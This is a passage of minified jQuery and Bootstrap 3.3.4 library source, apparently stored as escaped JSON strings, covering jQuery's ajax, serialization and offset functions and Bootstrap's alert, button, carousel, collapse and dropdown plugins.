\"+f}}}return{state:\"success\",data:b}}n.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:ob,type:\"GET\",isLocal:hb.test(pb[1]),global:!0,processData:!0,async:!0,contentType:\"application/x-www-form-urlencoded; charset=UTF-8\",accepts:{\"*\":nb,text:\"text/plain\",html:\"text/html\",xml:\"application/xml, text/xml\",json:\"application/json, text/javascript\"},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:\"responseXML\",text:\"responseText\",json:\"responseJSON\"},converters:{\"* text\":String,\"text html\":!0,\"text json\":n.parseJSON,\"text xml\":n.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(a,b){return b?sb(sb(a,n.ajaxSettings),b):sb(n.ajaxSettings,a)},ajaxPrefilter:qb(lb),ajaxTransport:qb(mb),ajax:function(a,b){\"object\"==typeof a&&(b=a,a=void 0),b=b||{};var c,d,e,f,g,h,i,j,k=n.ajaxSetup({},b),l=k.context||k,m=k.context&&(l.nodeType||l.jquery)?n(l):n.event,o=n.Deferred(),p=n.Callbacks(\"once memory\"),q=k.statusCode||{},r={},s={},t=0,u=\"canceled\",v={readyState:0,getResponseHeader:function(a){var b;if(2===t){if(!f){f={};while(b=gb.exec(e))f[b[1].toLowerCase()]=b[2]}b=f[a.toLowerCase()]}return null==b?null:b},getAllResponseHeaders:function(){return 2===t?e:null},setRequestHeader:function(a,b){var c=a.toLowerCase();return t||(a=s[c]=s[c]||a,r[a]=b),this},overrideMimeType:function(a){return t||(k.mimeType=a),this},statusCode:function(a){var b;if(a)if(2>t)for(b in a)q[b]=[q[b],a[b]];else v.always(a[v.status]);return this},abort:function(a){var b=a||u;return c&&c.abort(b),x(0,b),this}};if(o.promise(v).complete=p.add,v.success=v.done,v.error=v.fail,k.url=((a||k.url||ob)+\"\").replace(eb,\"\").replace(jb,pb[1]+\"//\"),k.type=b.method||b.type||k.method||k.type,k.dataTypes=n.trim(k.dataType||\"*\").toLowerCase().match(E)||[\"\"],null==k.crossDomain&&(h=kb.exec(k.url.toLowerCase()),k.crossDomain=!(!h||h[1]===pb[1]&&h[2]===pb[2]&&(h[3]||(\"http:\"===h[1]?\"80\":\"443\"))===(pb[3]||(\"http:\"===pb[1]?\"80\":\"443\")))),k.data&&k.processData&&\"string\"!=typeof k.data&&(k.data=n.param(k.data,k.traditional)),rb(lb,k,b,v),2===t)return v;i=n.event&&k.global,i&&0===n.active++&&n.event.trigger(\"ajaxStart\"),k.type=k.type.toUpperCase(),k.hasContent=!ib.test(k.type),d=k.url,k.hasContent||(k.data&&(d=k.url+=(db.test(d)?\"&\":\"?\")+k.data,delete k.data),k.cache===!1&&(k.url=fb.test(d)?d.replace(fb,\"$1_=\"+cb++):d+(db.test(d)?\"&\":\"?\")+\"_=\"+cb++)),k.ifModified&&(n.lastModified[d]&&v.setRequestHeader(\"If-Modified-Since\",n.lastModified[d]),n.etag[d]&&v.setRequestHeader(\"If-None-Match\",n.etag[d])),(k.data&&k.hasContent&&k.contentType!==!1||b.contentType)&&v.setRequestHeader(\"Content-Type\",k.contentType),v.setRequestHeader(\"Accept\",k.dataTypes[0]&&k.accepts[k.dataTypes[0]]?k.accepts[k.dataTypes[0]]+(\"*\"!==k.dataTypes[0]?\", \"+nb+\"; q=0.01\":\"\"):k.accepts[\"*\"]);for(j in k.headers)v.setRequestHeader(j,k.headers[j]);if(k.beforeSend&&(k.beforeSend.call(l,v,k)===!1||2===t))return v.abort();u=\"abort\";for(j in{success:1,error:1,complete:1})v[j](k[j]);if(c=rb(mb,k,b,v)){v.readyState=1,i&&m.trigger(\"ajaxSend\",[v,k]),k.async&&k.timeout>0&&(g=setTimeout(function(){v.abort(\"timeout\")},k.timeout));try{t=1,c.send(r,x)}catch(w){if(!(2>t))throw w;x(-1,w)}}else x(-1,\"No Transport\");function x(a,b,f,h){var j,r,s,u,w,x=b;2!==t&&(t=2,g&&clearTimeout(g),c=void 0,e=h||\"\",v.readyState=a>0?4:0,j=a>=200&&300>a||304===a,f&&(u=tb(k,v,f)),u=ub(k,u,v,j),j?(k.ifModified&&(w=v.getResponseHeader(\"Last-Modified\"),w&&(n.lastModified[d]=w),w=v.getResponseHeader(\"etag\"),w&&(n.etag[d]=w)),204===a||\"HEAD\"===k.type?x=\"nocontent\":304===a?x=\"notmodified\":(x=u.state,r=u.data,s=u.error,j=!s)):(s=x,(a||!x)&&(x=\"error\",0>a&&(a=0))),v.status=a,v.statusText=(b||x)+\"\",j?o.resolveWith(l,[r,x,v]):o.rejectWith(l,[v,x,s]),v.statusCode(q),q=void 0,i&&m.trigger(j?\"ajaxSuccess\":\"ajaxError\",[v,k,j?r:s]),p.fireWith(l,[v,x]),i&&(m.trigger(\"ajaxComplete\",[v,k]),--n.active||n.event.trigger(\"ajaxStop\")))}return v},getJSON:function(a,b,c){return n.get(a,b,c,\"json\")},getScript:function(a,b){return n.get(a,void 0,b,\"script\")}}),n.each([\"get\",\"post\"],function(a,b){n[b]=function(a,c,d,e){return n.isFunction(c)&&(e=e||d,d=c,c=void 0),n.ajax({url:a,type:b,dataType:e,data:c,success:d})}}),n._evalUrl=function(a){return n.ajax({url:a,type:\"GET\",dataType:\"script\",async:!1,global:!1,\"throws\":!0})},n.fn.extend({wrapAll:function(a){var b;return n.isFunction(a)?this.each(function(b){n(this).wrapAll(a.call(this,b))}):(this[0]&&(b=n(a,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstElementChild)a=a.firstElementChild;return a}).append(this)),this)},wrapInner:function(a){return this.each(n.isFunction(a)?function(b){n(this).wrapInner(a.call(this,b))}:function(){var b=n(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=n.isFunction(a);return this.each(function(c){n(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(){return this.parent().each(function(){n.nodeName(this,\"body\")||n(this).replaceWith(this.childNodes)}).end()}}),n.expr.filters.hidden=function(a){return a.offsetWidth<=0&&a.offsetHeight<=0},n.expr.filters.visible=function(a){return!n.expr.filters.hidden(a)};var vb=/%20/g,wb=/\\[\\]$/,xb=/\\r?\\n/g,yb=/^(?:submit|button|image|reset|file)$/i,zb=/^(?:input|select|textarea|keygen)/i;function Ab(a,b,c,d){var e;if(n.isArray(b))n.each(b,function(b,e){c||wb.test(a)?d(a,e):Ab(a+\"[\"+(\"object\"==typeof e?b:\"\")+\"]\",e,c,d)});else if(c||\"object\"!==n.type(b))d(a,b);else for(e in b)Ab(a+\"[\"+e+\"]\",b[e],c,d)}n.param=function(a,b){var c,d=[],e=function(a,b){b=n.isFunction(b)?b():null==b?\"\":b,d[d.length]=encodeURIComponent(a)+\"=\"+encodeURIComponent(b)};if(void 0===b&&(b=n.ajaxSettings&&n.ajaxSettings.traditional),n.isArray(a)||a.jquery&&!n.isPlainObject(a))n.each(a,function(){e(this.name,this.value)});else for(c in a)Ab(c,a[c],b,e);return d.join(\"&\").replace(vb,\"+\")},n.fn.extend({serialize:function(){return n.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var a=n.prop(this,\"elements\");return a?n.makeArray(a):this}).filter(function(){var a=this.type;return this.name&&!n(this).is(\":disabled\")&&zb.test(this.nodeName)&&!yb.test(a)&&(this.checked||!T.test(a))}).map(function(a,b){var c=n(this).val();return null==c?null:n.isArray(c)?n.map(c,function(a){return{name:b.name,value:a.replace(xb,\"\\r\\n\")}}):{name:b.name,value:c.replace(xb,\"\\r\\n\")}}).get()}}),n.ajaxSettings.xhr=function(){try{return new XMLHttpRequest}catch(a){}};var Bb=0,Cb={},Db={0:200,1223:204},Eb=n.ajaxSettings.xhr();a.attachEvent&&a.attachEvent(\"onunload\",function(){for(var a in Cb)Cb[a]()}),k.cors=!!Eb&&\"withCredentials\"in Eb,k.ajax=Eb=!!Eb,n.ajaxTransport(function(a){var b;return k.cors||Eb&&!a.crossDomain?{send:function(c,d){var e,f=a.xhr(),g=++Bb;if(f.open(a.type,a.url,a.async,a.username,a.password),a.xhrFields)for(e in a.xhrFields)f[e]=a.xhrFields[e];a.mimeType&&f.overrideMimeType&&f.overrideMimeType(a.mimeType),a.crossDomain||c[\"X-Requested-With\"]||(c[\"X-Requested-With\"]=\"XMLHttpRequest\");for(e in c)f.setRequestHeader(e,c[e]);b=function(a){return function(){b&&(delete Cb[g],b=f.onload=f.onerror=null,\"abort\"===a?f.abort():\"error\"===a?d(f.status,f.statusText):d(Db[f.status]||f.status,f.statusText,\"string\"==typeof f.responseText?{text:f.responseText}:void 0,f.getAllResponseHeaders()))}},f.onload=b(),f.onerror=b(\"error\"),b=Cb[g]=b(\"abort\");try{f.send(a.hasContent&&a.data||null)}catch(h){if(b)throw h}},abort:function(){b&&b()}}:void 0}),n.ajaxSetup({accepts:{script:\"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript\"},contents:{script:/(?:java|ecma)script/},converters:{\"text script\":function(a){return n.globalEval(a),a}}}),n.ajaxPrefilter(\"script\",function(a){void 0===a.cache&&(a.cache=!1),a.crossDomain&&(a.type=\"GET\")}),n.ajaxTransport(\"script\",function(a){if(a.crossDomain){var b,c;return{send:function(d,e){b=n(\"<script>\").prop({async:!0,charset:a.scriptCharset,src:a.url}).on(\"load error\",c=function(a){b.remove(),c=null,a&&e(\"error\"===a.type?404:200,a.type)}),l.head.appendChild(b[0])},abort:function(){c&&c()}}}});var Fb=[],Gb=/(=)\\?(?=&|$)|\\?\\?/;n.ajaxSetup({jsonp:\"callback\",jsonpCallback:function(){var a=Fb.pop()||n.expando+\"_\"+cb++;return this[a]=!0,a}}),n.ajaxPrefilter(\"json jsonp\",function(b,c,d){var e,f,g,h=b.jsonp!==!1&&(Gb.test(b.url)?\"url\":\"string\"==typeof b.data&&!(b.contentType||\"\").indexOf(\"application/x-www-form-urlencoded\")&&Gb.test(b.data)&&\"data\");return h||\"jsonp\"===b.dataTypes[0]?(e=b.jsonpCallback=n.isFunction(b.jsonpCallback)?b.jsonpCallback():b.jsonpCallback,h?b[h]=b[h].replace(Gb,\"$1\"+e):b.jsonp!==!1&&(b.url+=(db.test(b.url)?\"&\":\"?\")+b.jsonp+\"=\"+e),b.converters[\"script json\"]=function(){return g||n.error(e+\" was not called\"),g[0]},b.dataTypes[0]=\"json\",f=a[e],a[e]=function(){g=arguments},d.always(function(){a[e]=f,b[e]&&(b.jsonpCallback=c.jsonpCallback,Fb.push(e)),g&&n.isFunction(f)&&f(g[0]),g=f=void 0}),\"script\"):void 0}),n.parseHTML=function(a,b,c){if(!a||\"string\"!=typeof a)return null;\"boolean\"==typeof b&&(c=b,b=!1),b=b||l;var d=v.exec(a),e=!c&&[];return d?[b.createElement(d[1])]:(d=n.buildFragment([a],b,e),e&&e.length&&n(e).remove(),n.merge([],d.childNodes))};var Hb=n.fn.load;n.fn.load=function(a,b,c){if(\"string\"!=typeof a&&Hb)return Hb.apply(this,arguments);var d,e,f,g=this,h=a.indexOf(\" \");return h>=0&&(d=n.trim(a.slice(h)),a=a.slice(0,h)),n.isFunction(b)?(c=b,b=void 0):b&&\"object\"==typeof b&&(e=\"POST\"),g.length>0&&n.ajax({url:a,type:e,dataType:\"html\",data:b}).done(function(a){f=arguments,g.html(d?n(\"<div>\").append(n.parseHTML(a)).find(d):a)}).complete(c&&function(a,b){g.each(c,f||[a.responseText,b,a])}),this},n.each([\"ajaxStart\",\"ajaxStop\",\"ajaxComplete\",\"ajaxError\",\"ajaxSuccess\",\"ajaxSend\"],function(a,b){n.fn[b]=function(a){return this.on(b,a)}}),n.expr.filters.animated=function(a){return n.grep(n.timers,function(b){return a===b.elem}).length};var Ib=a.document.documentElement;function Jb(a){return n.isWindow(a)?a:9===a.nodeType&&a.defaultView}n.offset={setOffset:function(a,b,c){var d,e,f,g,h,i,j,k=n.css(a,\"position\"),l=n(a),m={};\"static\"===k&&(a.style.position=\"relative\"),h=l.offset(),f=n.css(a,\"top\"),i=n.css(a,\"left\"),j=(\"absolute\"===k||\"fixed\"===k)&&(f+i).indexOf(\"auto\")>-1,j?(d=l.position(),g=d.top,e=d.left):(g=parseFloat(f)||0,e=parseFloat(i)||0),n.isFunction(b)&&(b=b.call(a,c,h)),null!=b.top&&(m.top=b.top-h.top+g),null!=b.left&&(m.left=b.left-h.left+e),\"using\"in b?b.using.call(a,m):l.css(m)}},n.fn.extend({offset:function(a){if(arguments.length)return void 0===a?this:this.each(function(b){n.offset.setOffset(this,a,b)});var b,c,d=this[0],e={top:0,left:0},f=d&&d.ownerDocument;if(f)return b=f.documentElement,n.contains(b,d)?(typeof d.getBoundingClientRect!==U&&(e=d.getBoundingClientRect()),c=Jb(f),{top:e.top+c.pageYOffset-b.clientTop,left:e.left+c.pageXOffset-b.clientLeft}):e},position:function(){if(this[0]){var a,b,c=this[0],d={top:0,left:0};return\"fixed\"===n.css(c,\"position\")?b=c.getBoundingClientRect():(a=this.offsetParent(),b=this.offset(),n.nodeName(a[0],\"html\")||(d=a.offset()),d.top+=n.css(a[0],\"borderTopWidth\",!0),d.left+=n.css(a[0],\"borderLeftWidth\",!0)),{top:b.top-d.top-n.css(c,\"marginTop\",!0),left:b.left-d.left-n.css(c,\"marginLeft\",!0)}}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||Ib;while(a&&!n.nodeName(a,\"html\")&&\"static\"===n.css(a,\"position\"))a=a.offsetParent;return a||Ib})}}),n.each({scrollLeft:\"pageXOffset\",scrollTop:\"pageYOffset\"},function(b,c){var d=\"pageYOffset\"===c;n.fn[b]=function(e){return J(this,function(b,e,f){var g=Jb(b);return void 0===f?g?g[c]:b[e]:void(g?g.scrollTo(d?a.pageXOffset:f,d?f:a.pageYOffset):b[e]=f)},b,e,arguments.length,null)}}),n.each([\"top\",\"left\"],function(a,b){n.cssHooks[b]=ya(k.pixelPosition,function(a,c){return c?(c=xa(a,b),va.test(c)?n(a).position()[b]+\"px\":c):void 0})}),n.each({Height:\"height\",Width:\"width\"},function(a,b){n.each({padding:\"inner\"+a,content:b,\"\":\"outer\"+a},function(c,d){n.fn[d]=function(d,e){var f=arguments.length&&(c||\"boolean\"!=typeof d),g=c||(d===!0||e===!0?\"margin\":\"border\");return J(this,function(b,c,d){var e;return n.isWindow(b)?b.document.documentElement[\"client\"+a]:9===b.nodeType?(e=b.documentElement,Math.max(b.body[\"scroll\"+a],e[\"scroll\"+a],b.body[\"offset\"+a],e[\"offset\"+a],e[\"client\"+a])):void 0===d?n.css(b,c,g):n.style(b,c,d,g)},b,f?d:void 0,f,null)}})}),n.fn.size=function(){return this.length},n.fn.andSelf=n.fn.addBack,\"function\"==typeof define&&define.amd&&define(\"jquery\",[],function(){return n});var Kb=a.jQuery,Lb=a.$;return n.noConflict=function(b){return a.$===n&&(a.$=Lb),b&&a.jQuery===n&&(a.jQuery=Kb),n},typeof b===U&&(a.jQuery=a.$=n),n});\n","/*!\n * Bootstrap v3.3.4 (http://getbootstrap.com)\n * Copyright 2011-2015 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n */\nif(\"undefined\"==typeof jQuery)throw new Error(\"Bootstrap's JavaScript requires jQuery\");+function(a){\"use strict\";var b=a.fn.jquery.split(\" \")[0].split(\".\");if(b[0]<2&&b[1]<9||1==b[0]&&9==b[1]&&b[2]<1)throw new Error(\"Bootstrap's JavaScript requires jQuery version 1.9.1 or higher\")}(jQuery),+function(a){\"use strict\";function b(){var a=document.createElement(\"bootstrap\"),b={WebkitTransition:\"webkitTransitionEnd\",MozTransition:\"transitionend\",OTransition:\"oTransitionEnd otransitionend\",transition:\"transitionend\"};for(var c in b)if(void 0!==a.style[c])return{end:b[c]};return!1}a.fn.emulateTransitionEnd=function(b){var c=!1,d=this;a(this).one(\"bsTransitionEnd\",function(){c=!0});var e=function(){c||a(d).trigger(a.support.transition.end)};return setTimeout(e,b),this},a(function(){a.support.transition=b(),a.support.transition&&(a.event.special.bsTransitionEnd={bindType:a.support.transition.end,delegateType:a.support.transition.end,handle:function(b){return a(b.target).is(this)?b.handleObj.handler.apply(this,arguments):void 0}})})}(jQuery),+function(a){\"use strict\";function b(b){return this.each(function(){var c=a(this),e=c.data(\"bs.alert\");e||c.data(\"bs.alert\",e=new d(this)),\"string\"==typeof b&&e[b].call(c)})}var c='[data-dismiss=\"alert\"]',d=function(b){a(b).on(\"click\",c,this.close)};d.VERSION=\"3.3.4\",d.TRANSITION_DURATION=150,d.prototype.close=function(b){function c(){g.detach().trigger(\"closed.bs.alert\").remove()}var e=a(this),f=e.attr(\"data-target\");f||(f=e.attr(\"href\"),f=f&&f.replace(/.*(?=#[^\\s]*$)/,\"\"));var g=a(f);b&&b.preventDefault(),g.length||(g=e.closest(\".alert\")),g.trigger(b=a.Event(\"close.bs.alert\")),b.isDefaultPrevented()||(g.removeClass(\"in\"),a.support.transition&&g.hasClass(\"fade\")?g.one(\"bsTransitionEnd\",c).emulateTransitionEnd(d.TRANSITION_DURATION):c())};var e=a.fn.alert;a.fn.alert=b,a.fn.alert.Constructor=d,a.fn.alert.noConflict=function(){return a.fn.alert=e,this},a(document).on(\"click.bs.alert.data-api\",c,d.prototype.close)}(jQuery),+function(a){\"use strict\";function b(b){return this.each(function(){var d=a(this),e=d.data(\"bs.button\"),f=\"object\"==typeof b&&b;e||d.data(\"bs.button\",e=new c(this,f)),\"toggle\"==b?e.toggle():b&&e.setState(b)})}var c=function(b,d){this.$element=a(b),this.options=a.extend({},c.DEFAULTS,d),this.isLoading=!1};c.VERSION=\"3.3.4\",c.DEFAULTS={loadingText:\"loading...\"},c.prototype.setState=function(b){var c=\"disabled\",d=this.$element,e=d.is(\"input\")?\"val\":\"html\",f=d.data();b+=\"Text\",null==f.resetText&&d.data(\"resetText\",d[e]()),setTimeout(a.proxy(function(){d[e](null==f[b]?this.options[b]:f[b]),\"loadingText\"==b?(this.isLoading=!0,d.addClass(c).attr(c,c)):this.isLoading&&(this.isLoading=!1,d.removeClass(c).removeAttr(c))},this),0)},c.prototype.toggle=function(){var a=!0,b=this.$element.closest('[data-toggle=\"buttons\"]');if(b.length){var c=this.$element.find(\"input\");\"radio\"==c.prop(\"type\")&&(c.prop(\"checked\")&&this.$element.hasClass(\"active\")?a=!1:b.find(\".active\").removeClass(\"active\")),a&&c.prop(\"checked\",!this.$element.hasClass(\"active\")).trigger(\"change\")}else this.$element.attr(\"aria-pressed\",!this.$element.hasClass(\"active\"));a&&this.$element.toggleClass(\"active\")};var d=a.fn.button;a.fn.button=b,a.fn.button.Constructor=c,a.fn.button.noConflict=function(){return a.fn.button=d,this},a(document).on(\"click.bs.button.data-api\",'[data-toggle^=\"button\"]',function(c){var d=a(c.target);d.hasClass(\"btn\")||(d=d.closest(\".btn\")),b.call(d,\"toggle\"),c.preventDefault()}).on(\"focus.bs.button.data-api blur.bs.button.data-api\",'[data-toggle^=\"button\"]',function(b){a(b.target).closest(\".btn\").toggleClass(\"focus\",/^focus(in)?$/.test(b.type))})}(jQuery),+function(a){\"use strict\";function b(b){return this.each(function(){var d=a(this),e=d.data(\"bs.carousel\"),f=a.extend({},c.DEFAULTS,d.data(),\"object\"==typeof b&&b),g=\"string\"==typeof b?b:f.slide;e||d.data(\"bs.carousel\",e=new c(this,f)),\"number\"==typeof b?e.to(b):g?e[g]():f.interval&&e.pause().cycle()})}var c=function(b,c){this.$element=a(b),this.$indicators=this.$element.find(\".carousel-indicators\"),this.options=c,this.paused=null,this.sliding=null,this.interval=null,this.$active=null,this.$items=null,this.options.keyboard&&this.$element.on(\"keydown.bs.carousel\",a.proxy(this.keydown,this)),\"hover\"==this.options.pause&&!(\"ontouchstart\"in document.documentElement)&&this.$element.on(\"mouseenter.bs.carousel\",a.proxy(this.pause,this)).on(\"mouseleave.bs.carousel\",a.proxy(this.cycle,this))};c.VERSION=\"3.3.4\",c.TRANSITION_DURATION=600,c.DEFAULTS={interval:5e3,pause:\"hover\",wrap:!0,keyboard:!0},c.prototype.keydown=function(a){if(!/input|textarea/i.test(a.target.tagName)){switch(a.which){case 37:this.prev();break;case 39:this.next();break;default:return}a.preventDefault()}},c.prototype.cycle=function(b){return b||(this.paused=!1),this.interval&&clearInterval(this.interval),this.options.interval&&!this.paused&&(this.interval=setInterval(a.proxy(this.next,this),this.options.interval)),this},c.prototype.getItemIndex=function(a){return this.$items=a.parent().children(\".item\"),this.$items.index(a||this.$active)},c.prototype.getItemForDirection=function(a,b){var c=this.getItemIndex(b),d=\"prev\"==a&&0===c||\"next\"==a&&c==this.$items.length-1;if(d&&!this.options.wrap)return b;var e=\"prev\"==a?-1:1,f=(c+e)%this.$items.length;return this.$items.eq(f)},c.prototype.to=function(a){var b=this,c=this.getItemIndex(this.$active=this.$element.find(\".item.active\"));return a>this.$items.length-1||0>a?void 0:this.sliding?this.$element.one(\"slid.bs.carousel\",function(){b.to(a)}):c==a?this.pause().cycle():this.slide(a>c?\"next\":\"prev\",this.$items.eq(a))},c.prototype.pause=function(b){return b||(this.paused=!0),this.$element.find(\".next, .prev\").length&&a.support.transition&&(this.$element.trigger(a.support.transition.end),this.cycle(!0)),this.interval=clearInterval(this.interval),this},c.prototype.next=function(){return this.sliding?void 0:this.slide(\"next\")},c.prototype.prev=function(){return this.sliding?void 0:this.slide(\"prev\")},c.prototype.slide=function(b,d){var e=this.$element.find(\".item.active\"),f=d||this.getItemForDirection(b,e),g=this.interval,h=\"next\"==b?\"left\":\"right\",i=this;if(f.hasClass(\"active\"))return this.sliding=!1;var j=f[0],k=a.Event(\"slide.bs.carousel\",{relatedTarget:j,direction:h});if(this.$element.trigger(k),!k.isDefaultPrevented()){if(this.sliding=!0,g&&this.pause(),this.$indicators.length){this.$indicators.find(\".active\").removeClass(\"active\");var l=a(this.$indicators.children()[this.getItemIndex(f)]);l&&l.addClass(\"active\")}var m=a.Event(\"slid.bs.carousel\",{relatedTarget:j,direction:h});return a.support.transition&&this.$element.hasClass(\"slide\")?(f.addClass(b),f[0].offsetWidth,e.addClass(h),f.addClass(h),e.one(\"bsTransitionEnd\",function(){f.removeClass([b,h].join(\" \")).addClass(\"active\"),e.removeClass([\"active\",h].join(\" \")),i.sliding=!1,setTimeout(function(){i.$element.trigger(m)},0)}).emulateTransitionEnd(c.TRANSITION_DURATION)):(e.removeClass(\"active\"),f.addClass(\"active\"),this.sliding=!1,this.$element.trigger(m)),g&&this.cycle(),this}};var d=a.fn.carousel;a.fn.carousel=b,a.fn.carousel.Constructor=c,a.fn.carousel.noConflict=function(){return a.fn.carousel=d,this};var e=function(c){var d,e=a(this),f=a(e.attr(\"data-target\")||(d=e.attr(\"href\"))&&d.replace(/.*(?=#[^\\s]+$)/,\"\"));if(f.hasClass(\"carousel\")){var g=a.extend({},f.data(),e.data()),h=e.attr(\"data-slide-to\");h&&(g.interval=!1),b.call(f,g),h&&f.data(\"bs.carousel\").to(h),c.preventDefault()}};a(document).on(\"click.bs.carousel.data-api\",\"[data-slide]\",e).on(\"click.bs.carousel.data-api\",\"[data-slide-to]\",e),a(window).on(\"load\",function(){a('[data-ride=\"carousel\"]').each(function(){var c=a(this);b.call(c,c.data())})})}(jQuery),+function(a){\"use strict\";function b(b){var c,d=b.attr(\"data-target\")||(c=b.attr(\"href\"))&&c.replace(/.*(?=#[^\\s]+$)/,\"\");return a(d)}function c(b){return this.each(function(){var c=a(this),e=c.data(\"bs.collapse\"),f=a.extend({},d.DEFAULTS,c.data(),\"object\"==typeof b&&b);!e&&f.toggle&&/show|hide/.test(b)&&(f.toggle=!1),e||c.data(\"bs.collapse\",e=new d(this,f)),\"string\"==typeof b&&e[b]()})}var d=function(b,c){this.$element=a(b),this.options=a.extend({},d.DEFAULTS,c),this.$trigger=a('[data-toggle=\"collapse\"][href=\"#'+b.id+'\"],[data-toggle=\"collapse\"][data-target=\"#'+b.id+'\"]'),this.transitioning=null,this.options.parent?this.$parent=this.getParent():this.addAriaAndCollapsedClass(this.$element,this.$trigger),this.options.toggle&&this.toggle()};d.VERSION=\"3.3.4\",d.TRANSITION_DURATION=350,d.DEFAULTS={toggle:!0},d.prototype.dimension=function(){var a=this.$element.hasClass(\"width\");return a?\"width\":\"height\"},d.prototype.show=function(){if(!this.transitioning&&!this.$element.hasClass(\"in\")){var b,e=this.$parent&&this.$parent.children(\".panel\").children(\".in, .collapsing\");if(!(e&&e.length&&(b=e.data(\"bs.collapse\"),b&&b.transitioning))){var f=a.Event(\"show.bs.collapse\");if(this.$element.trigger(f),!f.isDefaultPrevented()){e&&e.length&&(c.call(e,\"hide\"),b||e.data(\"bs.collapse\",null));var g=this.dimension();this.$element.removeClass(\"collapse\").addClass(\"collapsing\")[g](0).attr(\"aria-expanded\",!0),this.$trigger.removeClass(\"collapsed\").attr(\"aria-expanded\",!0),this.transitioning=1;var h=function(){this.$element.removeClass(\"collapsing\").addClass(\"collapse in\")[g](\"\"),this.transitioning=0,this.$element.trigger(\"shown.bs.collapse\")};if(!a.support.transition)return h.call(this);var i=a.camelCase([\"scroll\",g].join(\"-\"));this.$element.one(\"bsTransitionEnd\",a.proxy(h,this)).emulateTransitionEnd(d.TRANSITION_DURATION)[g](this.$element[0][i])}}}},d.prototype.hide=function(){if(!this.transitioning&&this.$element.hasClass(\"in\")){var b=a.Event(\"hide.bs.collapse\");if(this.$element.trigger(b),!b.isDefaultPrevented()){var c=this.dimension();this.$element[c](this.$element[c]())[0].offsetHeight,this.$element.addClass(\"collapsing\").removeClass(\"collapse in\").attr(\"aria-expanded\",!1),this.$trigger.addClass(\"collapsed\").attr(\"aria-expanded\",!1),this.transitioning=1;var e=function(){this.transitioning=0,this.$element.removeClass(\"collapsing\").addClass(\"collapse\").trigger(\"hidden.bs.collapse\")};return a.support.transition?void this.$element[c](0).one(\"bsTransitionEnd\",a.proxy(e,this)).emulateTransitionEnd(d.TRANSITION_DURATION):e.call(this)}}},d.prototype.toggle=function(){this[this.$element.hasClass(\"in\")?\"hide\":\"show\"]()},d.prototype.getParent=function(){return a(this.options.parent).find('[data-toggle=\"collapse\"][data-parent=\"'+this.options.parent+'\"]').each(a.proxy(function(c,d){var e=a(d);this.addAriaAndCollapsedClass(b(e),e)},this)).end()},d.prototype.addAriaAndCollapsedClass=function(a,b){var c=a.hasClass(\"in\");a.attr(\"aria-expanded\",c),b.toggleClass(\"collapsed\",!c).attr(\"aria-expanded\",c)};var e=a.fn.collapse;a.fn.collapse=c,a.fn.collapse.Constructor=d,a.fn.collapse.noConflict=function(){return a.fn.collapse=e,this},a(document).on(\"click.bs.collapse.data-api\",'[data-toggle=\"collapse\"]',function(d){var e=a(this);e.attr(\"data-target\")||d.preventDefault();var f=b(e),g=f.data(\"bs.collapse\"),h=g?\"toggle\":e.data();c.call(f,h)})}(jQuery),+function(a){\"use strict\";function b(b){b&&3===b.which||(a(e).remove(),a(f).each(function(){var d=a(this),e=c(d),f={relatedTarget:this};e.hasClass(\"open\")&&(e.trigger(b=a.Event(\"hide.bs.dropdown\",f)),b.isDefaultPrevented()||(d.attr(\"aria-expanded\",\"false\"),e.removeClass(\"open\").trigger(\"hidden.bs.dropdown\",f)))}))}function c(b){var c=b.attr(\"data-target\");c||(c=b.attr(\"href\"),c=c&&/#[A-Za-z]/.test(c)&&c.replace(/.*(?=#[^\\s]*$)/,\"\"));var d=c&&a(c);return d&&d.length?d:b.parent()}function d(b){return this.each(function(){var c=a(this),d=c.data(\"bs.dropdown\");d||c.data(\"bs.dropdown\",d=new g(this)),\"string\"==typeof b&&d[b].call(c)})}var e=\".dropdown-backdrop\",f='[data-toggle=\"dropdown\"]',g=function(b){a(b).on(\"click.bs.dropdown\",this.toggle)};g.VERSION=\"3.3.4\",g.prototype.toggle=function(d){var e=a(this);if(!e.is(\".disabled, :disabled\")){var f=c(e),g=f.hasClass(\"open\");if(b(),!g){\"ontouchstart\"in document.documentElement&&!f.closest(\".navbar-nav\").length&&a('<div class=\"dropdown-backdrop\"/>').insertAfter(a(this)).on(\"click\",b);var h={relatedTarget:this};if(f.trigger(d=a.Event(\"show.bs.dropdown\",h)),d.isDefaultPrevented())return;e.trigger(\"focus\").attr(\"aria-expanded\",\"true\"),f.toggleClass(\"open\").trigger(\"shown.bs.dropdown\",h)}return!1}},g.prototype.keydown=function(b){if(/(38|40|27|32)/.test(b.which)&&!/input|textarea/i.test(b.target.tagName)){var d=a(this);if(b.preventDefault(),b.stopPropagation(),!d.is(\".disabled, :disabled\")){var e=c(d),g=e.hasClass(\"open\");if(!g&&27!=b.which||g&&27==b.which)return 27==b.which&&e.find(f).trigger(\"focus\"),d.trigger(\"click\");var h=\" li:not(.disabled):visible a\",i=e.find('[role=\"menu\"]'+h+', [role=\"listbox\"]'+h);if(i.length){var j=i.index(b.target);38==b.which&&j>0&&j--,40==b.which&&j<i.length-1&&j++,~j||(j=0),i.eq(j).trigger(\"focus\")}}}};var h=a.fn.dropdown;a.fn.dropdown=d,a.fn.dropdown.Constructor=g,a.fn.dropdown.noConflict=function(){return a.fn.dropdown=h,this},a(document).on(\"click.bs.dropdown.data-api\",b).on(\"click.bs.dropdown.data-api\",\".dropdown form\",function(a){a.stopPropagation()}).on(\"click.bs.dropdown.data-api\",f,g.prototype.toggle).on(\"keydown.bs.dropdown.data-api\",f,g.prototype.keydown).on(\"keydown.bs.dropdown.data-api\",'[role=\"menu\"]',g.prototype.keydown).on(\"keydown.bs.dropdown.data-api\",'[role=\"listbox\"]',g.prototype.keydown)}(jQuery),+function(a){\"use strict\";function b(b,d){return this.each(function(){var e=a(this),f=e.data(\"bs.modal\"),g=a.extend({},c.DEFAULTS,e.data(),\"object\"==typeof b&&b);f||e.data(\"bs.modal\",f=new c(this,g)),\"string\"==typeof b?f[b](d):g.show&&f.show(d)})}var 